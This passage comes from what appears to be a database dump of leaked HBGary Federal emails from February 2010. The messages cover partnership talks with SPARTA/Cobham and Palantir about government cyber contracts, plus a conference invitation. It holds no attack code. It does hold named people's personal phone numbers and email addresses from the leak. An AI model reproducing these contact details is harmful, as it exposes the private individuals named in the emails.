to work together. As I mentioned in my voicemail, tomorrow will be my last day at SPARTA. Please follow-up with Erik Mettala, Chief Scientist for SPARTA’s National Security Sector. Erik’s contact information is erik.mettala@cobham.com, 443-430-8059.&nbsp;\r\nThanks and regards,-DB&nbsp;------------------------------------------------------------------------------------------------David M. Balenson, Division Manager, Security ResearchSPARTA National Security SectorCobham Analytic SolutionsTel: 443.430.8004Fax: 443.430.8153Email: David.Balenson@cobham.com&nbsp;&nbsp;\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 11:23 AMTo: Balenson, DavidSubject: Introductions&nbsp;Hi Dave,\r\nI would like to talk to you about our similar interest in the NWOC BAA. As well I would be interested in getting an update on your capabilities and likewise get you familiar with ours. I received a briefing more than an year back when I was leading the technical strategy for Northrop Grummans cyber campaign. I remember being impressed by your amount of IP related to cybersecurity. \r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n&nbsp;&nbsp;&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16833,'aaron_hbgary_com/16833.html'),(2689,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001254.M182540P3547Q2689.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','My DARPA thoughts','Anything you can add would be helpful.  Based on call yesterday it is clear GD does not have any thought leadership in this area.  We are both talking with Sparta to try and bring them on the team.  I think we have the right high level thoughts related to Tech area 1 and 2.  Tech area 3 I am less familiar with the specifics and don\'t want to get cross-ways with the product.  Please provide me some input related to state of the art in automated malware analysis 2-4 years out.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',2640,'aaron_hbgary_com/2640.html'),(2690,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001254.M469779P3547Q2690.eml','\"Bob Slapnik\" <bob@hbgary.com>','NSA Billets','Bob,\r\n\r\nWhat ever happened to the malware billets you had mentioned to me?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8849,'aaron_hbgary_com/8849.html'),(2691,'2010-02-16','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297001254.M648552P3547Q2691.eml','greg@hbgary.com,penny@hbgary,bob@hbgary,aaron@hbgary.com,phil@hbgary.com,ted@hbgary.com','kaspersky patents hardware antivirus that sits below the OS  & 2009 bank hacking timeline','http://www.pcmag.com/article2/0,2817,2359288,00.asp\r\n\r\nhttp://www.bankinfosecurity.com/articles.php?art_id=1766\r\n',14777,'aaron_hbgary_com/14777.html'),(2692,'2010-02-16','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','/aaron@hbgary.com/new/1297001254.M932575P3547Q2692.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions','\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp; Sorry about the delay... Give me a call at 703-209-2221 in about 10 minutes or so..\r\n&nbsp;\r\nErik\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Tue 2/16/2010 10:42 AMTo: Mettala, ErikSubject: Re: Introductions\r\nErik, \r\n\r\nDo you still want to talk? &nbsp;I have been discussing with GD a 3 way partnership. &nbsp;What are your thoughts? &nbsp;The GD folks have told me they are also talking with you, so don\'t want to be redundant, but interested in your thoughts on our approach forward?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 8, 2010, at 9:08 AM, Mettala, Erik wrote:\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I\'m snowed in too...&nbsp; Still have about a mile of road to clear before they get to us.\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hmm..&nbsp;&nbsp;&nbsp; Half of what we have to discuss is classified, so it would probably be prudent for us to wait until&nbsp;we can get together.&nbsp;&nbsp; \r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Now, given that it\'s supposed to snow again tomorrow,&nbsp;we ought to wait to see when movement is&nbsp;more reasonable.&nbsp;&nbsp; I can\'t do Friday, in any case,&nbsp;but Thursday is a possibility.\r\n&nbsp;\r\nErik&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Mon 2/8/2010 8:03 AMTo: Mettala, ErikCc: Rich Cummings; Bob Slapnik; Ted VeraSubject: Re: Introductions\r\nErik, \r\n\r\nI am not going to make it out of the neighborhood today. &nbsp;Should I set up a webex and we can do a technology demonstration and have a discussion online?\r\n\r\nAaron\r\n\r\n\r\nOn Feb 4, 2010, at 9:56 AM, Mettala, Erik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please give me a call ASAP.&nbsp; I&#8217;ve got a scheduling issue, and your phone number is out of reach.&nbsp; Cell works best.\r\n&nbsp;\r\nErik\r\n&nbsp;\r\n\r\nErik G. Mettala, Ph.D.\r\nChief Scientist\r\nSPARTA National Security Systems Sector\r\ndba Cobham Analytic Solutions\r\n7110 Samuel Morse Drive\r\nColumbia, MD 21046\r\nwww.sparta.com\r\nT:&nbsp;443-430-8059\r\nC: 703-209-2221\r\nF: 443-430-8208\r\n&nbsp;\r\nPlease consider the environment before printing this email\r\nThis e-mail and any files transmitted with it (\"E-mail\") is intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the addressee(s), any disclosure, reproduction, copying, distribution or other use of the E-mail is prohibited. If you have received this E-mail in error, please delete it and notify the sender immediately via our switchboard or return e-mail.\r\nNeither the company nor any subsidiary or affiliate or associated company nor any individual sending this E-mail accepts any liability in respect of the content (including errors and omissions) nor shall this e-mail be deemed to enter the company or any subsidiary or affiliate or associated company into a contract or to create any legally binding obligations unless expressly agreed to in writing under separate cover and timeliness of the E-mail which arise as a result of transmission. If verification is required, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, February 02, 2010 11:47 AMTo: Mettala, ErikSubject: Re: Introductions\r\n&nbsp;\r\nHi Erik,\r\n\r\n&nbsp;\r\n\r\nLooking forward to our meeting later this week. &nbsp;I would like to get an NDA in place between our orgs to discuss freely. &nbsp;Would you like me to send you ours or want to go with yours, I am good either way.\r\n\r\n&nbsp;\r\n\r\nAaron\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik wrote:\r\n\r\n\r\nAaron,\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased to meet you.\r\n&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look forward to discussing NWOC and other opportunities with you.\r\n&nbsp;\r\nErik\r\n&nbsp;\r\n\r\nErik G. Mettala, Ph.D.\r\nChief Scientist\r\nSPARTA National Security Systems Sector\r\ndba Cobham Analytic Solutions\r\n7110 Samuel Morse Drive\r\nColumbia, MD 21046\r\nwww.sparta.com\r\nT:&nbsp;443-430-8059\r\nC: 703-209-2221\r\nF: 443-430-8208\r\n&nbsp;\r\nPlease consider the environment before printing this email\r\nThis e-mail and any files transmitted with it (\"E-mail\") is intended solely for the addressee(s) and may contain confidential and/or legally privileged information. If you are not the addressee(s), any disclosure, reproduction, copying, distribution or other use of the E-mail is prohibited. If you have received this E-mail in error, please delete it and notify the sender immediately via our switchboard or return e-mail.\r\nNeither the company nor any subsidiary or affiliate or associated company nor any individual sending this E-mail accepts any liability in respect of the content (including errors and omissions) nor shall this e-mail be deemed to enter the company or any subsidiary or affiliate or associated company into a contract or to create any legally binding obligations unless expressly agreed to in writing under separate cover and timeliness of the E-mail which arise as a result of transmission. If verification is required, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David Sent: Wednesday, January 27, 2010 4:02 PMTo: Aaron BarrCc: Balenson, David; Mettala, ErikSubject: RE: Introductions\r\n&nbsp;\r\nAaron-\r\n&nbsp;\r\nThank you for your inquiry. We&#8217;d be happy to exchange capabilities and explore possible ways to work together. As I mentioned in my voicemail, tomorrow will be my last day at SPARTA. Please follow-up with Erik Mettala, Chief Scientist for SPARTA&#8217;s National Security Sector. Erik&#8217;s contact information is erik.mettala@cobham.com, 443-430-8059.\r\n&nbsp;\r\n\r\nThanks and regards,\r\n-DB\r\n&nbsp;\r\n------------------------------------------------------------------------------------------------\r\nDavid M. Balenson, Division Manager, Security Research\r\nSPARTA National Security Sector\r\nCobham Analytic Solutions\r\nTel: 443.430.8004\r\nFax: 443.430.8153\r\nEmail: David.Balenson@cobham.com\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Tuesday, January 26, 2010 11:23 AMTo: Balenson, DavidSubject: Introductions\r\n&nbsp;\r\nHi Dave,\r\n\r\nI would like to talk to you about our similar interest in the NWOC BAA. As well I would be interested in getting an update on your capabilities and likewise get you familiar with ours. I received a briefing more than an year back when I was leading the technical strategy for Northrop Grummans cyber campaign. I remember being impressed by your amount of IP related to cybersecurity. \r\n\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',4209,'aaron_hbgary_com/4209.html'),(2693,'2010-02-16','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297001255.M145873P3547Q2693.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Just was put out by 451 Analyst Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan we say 4pm?&nbsp; Im coming back from a meeting onsite around\r\n2:30 and want to give myself a buffer.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:26 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSounds good I will stop by to see the new digs, say 3pm?\r\n&nbsp;I think I still have the new address in an email you sent.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 10:24 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIm available late afternoon if you want to swing by the new\r\noffice or just give me a ring.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 15,\r\n2010 8:27 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYes it was just got my names mixed up. :).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 15, 2010, at 8:15 PM, Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot sure that was intended for me?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 15,\r\n2010 6:35 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHey Brian,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHave some time to catch up tomorrow?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 5:13 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWednesday Ill be onsite.&nbsp; Can we sync up Thurs?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Just let me know when you\r\nwant Geoff Stowe to drive up to Sacramento\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ill pencil you in for analyst\r\ntraining on the 23rd\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ive been emailing back and\r\nforth with Brian &#8211; I think he&#8217;s in a good place right now\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lets chat about some AF\r\nthings we have going on\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Have you guys approached\r\nGoogle at any point?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:52 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Re: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nyeah...more of those to come. &nbsp;:)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI will press Gregs better half, who does most of the\r\nscheduling to see when we can do the training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWant to get caught up with you maybe Wednesday? &nbsp;We are\r\npursing some work down at the 92nd, also on a proposal with Macaulley Brown for\r\nthe AF OSI RFP. &nbsp;We are making partner decisions for the DARPA BAA for\r\ncyber genome (there will be a palantir element). &nbsp;Also still working with\r\nBrian Masterson to build his IRAD, and have some conversations coming up with\r\nDave Luber out of the ANO office. &nbsp;Probably a few others that I missed but\r\na good start.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 8, 2010, at 4:48 PM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, nice article.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com&nbsp;| 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, February 08,\r\n2010 4:20 PM\r\nTo:&nbsp;Matthew Steckman\r\nSubject:&nbsp;Fwd: Just was put\r\nout by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNice.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;&quot;Penny Leavy-Hoglund&quot;\r\n&lt;penny@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate:&nbsp;February 8, 2010 4:15:03 PM EST\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTo:&nbsp;&quot;\'Maria Lucas\'&quot; &lt;maria@hbgary.com&gt;, &quot;\'Rich\r\nCummings\'&quot; &lt;rich@hbgary.com&gt;,\r\n&quot;\'Phil Wallisch\'&quot; &lt;phil@hbgary.com&gt;,\r\n&quot;\'Matt O\'Flynn\'&quot; &lt;matt@hbgary.com&gt;,\r\n&quot;\'Bob Slapnik\'&quot; &lt;bob@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCc:&nbsp;&quot;\'Ted Vera\'&quot; &lt;ted@hbgary.com&gt;, &quot;\'Aaron Barr\'&quot;\r\n&lt;aaron@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject:\r\nJust was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI\r\nscanned this so all could see, not sure we can distribute, so let me\r\ncheck.&nbsp; If you printed off a copy you can show clients.&nbsp; This helps\r\nin a big way\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10556,'aaron_hbgary_com/10556.html'),(2694,'2010-02-16','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001255.M406308P3547Q2694.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: NSA Billets','I just LM and sent email trying to find out.\r\n \r\nOn Tue, Feb 16, 2010 at 10:46 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nBob,What ever happened to the malware billets you had mentioned to me?\r\nAaron BarrCEOHBGary Federal Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',971,'aaron_hbgary_com/971.html'),(2695,'2010-02-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001255.M625508P3547Q2695.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Palantir Technologies\' 5th Government Conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nGovCon5 — Palantir Government Conference — April 7, 2010\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Palantir\r\nTechnologies [mailto:govcon@palantirtech.com] \r\nSent: Tuesday, February 16, 2010 7:02 AM\r\nTo: penny@hbgary.com\r\nSubject: Palantir Technologies\' 5th Government Conference\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n     \r\n      \r\n      We are pleased to invite you to the fifth Palantir\r\n      Government Conference, scheduled for April 7, 2010 at the Ritz-Carlton –\r\n      Tysons Corner. The conference will feature presentations and live demos\r\n      by customers and Palantir staff, your choice of breakout sessions\r\n      covering a wide array of topics, as well as training for analysts and\r\n      developers. \r\n      Palantir has been busy since the last conference so come\r\n      and see what is new! Explore the highlights in the newly released\r\n      Palantir Government v2.4 as well as see how customers are solving today\'s\r\n      most difficult analytical challenges\r\n      using the Palantir platform. \r\n      For more information, please visit our web site.\r\n      \r\n      \r\n      RSVP by March 31, 2010\r\n      to http://palantirtech.eventbrite.com.\r\n      E-mail inquiries: govcon@palantirtech.com \r\n      We look forward to seeing you there. \r\n      Sincerely, \r\n      \r\n      Shyam Sankar\r\n      Director, Forward Deployed Engineering\r\n      Palantir Technologies \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\nIf you no\r\nlonger wish to receive these emails, click on the following link: Unsubscribe\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14044,'aaron_hbgary_com/14044.html'),(2696,'2010-02-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001255.M823637P3547Q2696.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Just was put out by 451 Analyst Group','Sure I can do that.From my iPhoneOn Feb 16, 2010, at 10:58 AM, Matthew Steckman &lt;msteckman@palantirtech.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nCan we say 4pm?  Im coming back from a meeting onsite around\r\n2:30 and want to give myself a buffer.\r\n\r\n \r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com\r\n| 202-257-2270\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 16, 2010 10:26 AM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put out by 451 Analyst Group\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nSounds good I will stop by to see the new digs, say 3pm?\r\n I think I still have the new address in an email you sent.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Feb 16, 2010, at 10:24 AM, Matthew Steckman wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIm available late afternoon if you want to swing by the new\r\noffice or just give me a ring.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, February 15,\r\n2010 8:27 PM\r\nTo: Matthew Steckman\r\nSubject: Re: Just was put\r\nout by 451 Analyst 